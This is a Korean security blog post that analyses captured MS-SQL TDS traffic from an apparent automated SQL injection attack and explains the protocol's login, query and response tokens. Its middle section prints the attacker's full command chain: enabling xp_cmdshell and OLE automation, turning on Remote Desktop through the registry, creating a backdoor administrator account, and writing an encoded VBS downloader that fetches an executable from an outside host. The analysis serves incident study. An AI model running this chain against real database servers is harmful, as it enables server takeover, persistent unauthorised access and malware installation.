'MS-SQL'에 해당되는 글 1건

  1. 2009.08.22 TDS(Tabular Data Stream) 1
0x02 analysis2009. 8. 22. 15:26

악성봇 탐지하는 장비에서 남긴 pcap 파일을 보다가 예전부터 자주 나오던 형태가 있었습니다.
바로 TDS라는 녀석이데요..
위키피디아에 있는 TDS에 대한 정의를 보시면

Tabular Data Stream (TDS) is an application layer protocol, used to transfer data between a database server and a client. Initially designed and developed by Sybase Inc. for their Sybase SQL Server relational database engine in 1984, and later by Microsoft in Microsoft SQL Server.

라고 나와있습니다.

쉽게 말해서 MS-SQL Server에서 데이터베이스 서버와 클라이언트간의 데이터 전송을 위해 사용되는 프로토콜입니다.

MS에서 제공하는 TDS Protocol Spec은 파일 첨부하겠습니다. 참고하시기 바랍니다.



pcap 파일을 까보니




상당히 길더군요..
아마도 SQL Injection 공격을 하는걸로 보입니다.

좀 더 자세히 살펴보도록 하겠습니다.


가장 처음에 나오는 패킷은 TDS7/8 Login Packet이었습니다.
말 그대로 로그인 정보를 가지고 있는 패킷입니다.




로그인 정보를 전송하고 서버로부터 날라오는 Response 패킷을 보면 master를 사용하겠다는 메시지를 보내옵니다.




이후 지속적으로 서버와 클라이언트간의 데이터를 주고 받습니다. (Query Packet, Response Packet)

create procedure sp_addextendedproc
@functname nvarchar(517),
@dllname varchar(255)
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedpro

There is already an object named 'sp_addextendedproc' in the database.

EXEC sp_dropextendedproc 'xp_cmdshell'

EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int


USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'xp_cmdshell', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
Valid configuration options are:
......(계속 어떤 메시지가 나오는데 귀찮아서 생략합니다 -_-;;)

USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'Ole Automation Procedures',1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'Ole Automation Procedures' does not exist, or it may be an advanced option.
Valid configuration options are:
......

USE master
EXEC sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure 'Ad Hoc Distributed Queries',1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure  'show advanced options', 0

Changed database context to 'master'.
DBCC execution completed. If DBCC printed error messages, contact your system administrator.
Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
The configuration option 'Ad Hoc Distributed Queries' does not exist, or it may be an advanced option.
Valid configuration options are:
......

EXEC sp_dropextendedproc 'Xp_regwrite'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
dbcc addextendedproc ("sp_OACreate","odsole70.dll")

There is already an object named 'sp_OACreate' in the database.

Query: exec master..xp_cmdshell 'ver'

Microsoft Windows XP [Version 5.1.2600]

DECLARE @s int EXEC sp_oacreate [wscript.shell]
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>c:\3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>c:\3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>c:\3389.reg'
exec master..xp_cmdshell 'regedit /s c:\3389.reg'
exec master..xp_cmdshell 'del c:\3389.reg'
Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0

Could not find stored procedure 'master.dbo.xp_regwrite'.

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[resultcmd_cc]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) drop table resultcmd_cc
create table resultcmd_cc([data] nvarchar(4000))
insert resultcmd_cc exec master..xp_cmdshell 'netstat -an'

select * from resultcmd_cc (Remote Procedure Call Packet)

Could not create an acceptable cursor.
The cursor was not declared.

select * from resultcmd_cc (Remote Procedure Call Packet)

 Active Connections
 Proto  Local Address          Foreign Address        State

Could not complete cursor operation because the table schema changed after the cursor was declared.

insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser Aa123456789 /add'
insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser Aa123456789'
insert resultcmd_cc exec master..xp_cmdshell 'net user TsInternetUser /active:yes'
insert resultcmd_cc exec master..xp_cmdshell 'net localgroup administrators /add TsInternetUser'

select * from resultcmd_cc (Remote Procedure Call Packet)

Could not create an acceptable cursor.
The cursor was not declared.

select * from resultcmd_cc (Remote Procedure Call Packet)

  Active Connections
 Proto  Local Address          Foreign Address        State
 TCP    0.0.0.0:7              0.0.0.0:0              LISTENING
 TCP    0.0.0.0:9              0.0.0.0:0              LISTENING
 TCP    0.0.0.0:13             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:17             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:19             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:21             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:23             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:25             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
 TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:443            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1029           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1042           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:2869           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:4460           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5000           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5800           0.0.0.0:0              LISTENING
 TCP    0.0.0.0:5900           0.0.0.0:0              LISTENING
 TCP    169.254.100.134:139    0.0.0.0:0              LISTENING
 TCP    169.254.100.134:1042   1232142574:1439     ESTABLISHED
 TCP    169.254.100.134:1043   0.0.0.0:0              LISTENING
 TCP    169.254.100.134:1433   123.156.76.214:1310    ESTABLISHED
 TCP    169.254.100.134:1433   123.156.76.214:1358    ESTABLISHED
 TCP    169.254.100.134:4460   123.214.25.74:61412    CLOSE_WAIT
 TCP    169.254.100.134:4460   123.214.25.74:62087    ESTABLISHED
 UDP    0.0.0.0:7              *:*                   
 UDP    0.0.0.0:9              *:*                   
 UDP    0.0.0.0:13             *:*                   
 UDP    0.0.0.0:17             *:*                   
 UDP    0.0.0.0:19             *:*                   
 UDP    0.0.0.0:135            *:*                   
 UDP    0.0.0.0:161            *:*                   
 UDP    0.0.0.0:445            *:*                   
 UDP    0.0.0.0:500            *:*                   
 UDP    0.0.0.0:1028           *:*                   
 UDP    0.0.0.0:1030           *:*                   
 UDP    0.0.0.0:1434           *:*                   
 UDP    0.0.0.0:3456           *:*                   
 UDP    127.0.0.1:1041         *:*                   
 UDP    127.0.0.1:1900         *:*                   
 UDP    169.254.100.134:137    *:*                   
 UDP    169.254.100.134:138    *:*                   
 UDP    169.254.100.135:1900   *:*                   

The command complete successfully
The command complete successfully
The command complete successfully
The command complete successfully

DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run], NULL, [net user TsInternetUser Aa123456789 /add]
EXEC sp_oamethod @s,[run], NULL, [net localgroup administrators /add TsInternetUser]

Column1

Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\dnary.mdb','select shell("net user TsInt

Expr1000

insert resultcmd_cc exec master..xp_cmdshell '@echo Str=Array(97,108,61,76,67,97,115,101,40,87,83,99,114,105,112,116,46,65,114,103,117,109,101,110,116,115,40,49,41,41,13,10,116,101,61,76,67,97,115,101,40,87,83,99,114,105

insert resultcmd_cc exec master..xp_cmdshell '@echo Function Num2Str(Str):For I=0 To UBound(Str):Num2Str=Num2Str ^& Chr(Str(I)):Next:End Function>>c:\fuck.vbs'

insert resultcmd_cc exec master..xp_cmdshell '@echo Execute Num2Str(Str)>>c:\fuck.vbs'

insert resultcmd_cc exec master..xp_cmdshell 'cscript c:\fuck.vbs http://figure.5read.com/win.exe c:\e.exe , 0 , true'



TDS Query Packet에 대한 응답으로 TDS Response Packet이 서버로부터 클라이언트로 전송됩니다.
클라이언트에게 특별하게 메시지를 보여줄 수 있는 상황이 아니면 다음과 같은 TDS Response를 볼 수 있습니다.




즉, exec sp_dropextendedproc'xp_regwrite'와 같은 명령은 결과가 특정 문자열로 출력되지 않기 때문에 위에 보시는 것처럼
상태만 알려주고 끝나게 됩니다.

그럼 우리에게 특정 결과를 문자열로 보여줄때는 어떤 모습인지 살펴보겠습니다.




보시는 것처럼 TDS7+ Results라는 토큰이 있으며 바로 아래쪽엔 앞서 봤던 Done In Proc 토큰이 있습니다.
그리고 그 아래 Unknown Token Type 부분에 명령에 의해 리턴된 문자열이 들어 있습니다.




Unknown Token Type이라는 토큰의 내용을 보시면 Microsoft에서 Mi 라는 글자가 짤린걸 보실 수 있습니다.
아마도 Response 패킷이 일부 잘못되어 형식에 맞지 않아 Unknown Token Type으로 나온게 아닌가 생각됩니다.

그리고 리턴되는 결과 중 메시지 형태일 때는 다음과 같은 토큰이 나오게 됩니다.




Error Message라는 토큰은 토큰내에 Error라는 필드에 미시지를 담고 있습니다.
명령에 대한 결과라기 보다는 에러 메시지이기 때문에 특정 형식에 맞춰져서 결과가 나오는 듯 합니다.

이 공격은 실제 공격자가 SQL Injection을 수행한 것인지 아니면 툴을 사용한것인지 악성코드에 의해서 수행된 것인지
정확히 확인하지 않았습니다만 Query 패킷이 전송되는 시간을 확인해보면 툴에 의한 행동이라는게 맞는것 같습니다.




TDS에 대해서 좀 더 공부하고 포스팅하는게 맞을 듯 한데
이것저것 찾아보면서 글을 올리다보니 좀 두서가 없었습니다. -_-;;
좀 더 연구를 해봐야겠습니다.








Posted by demantos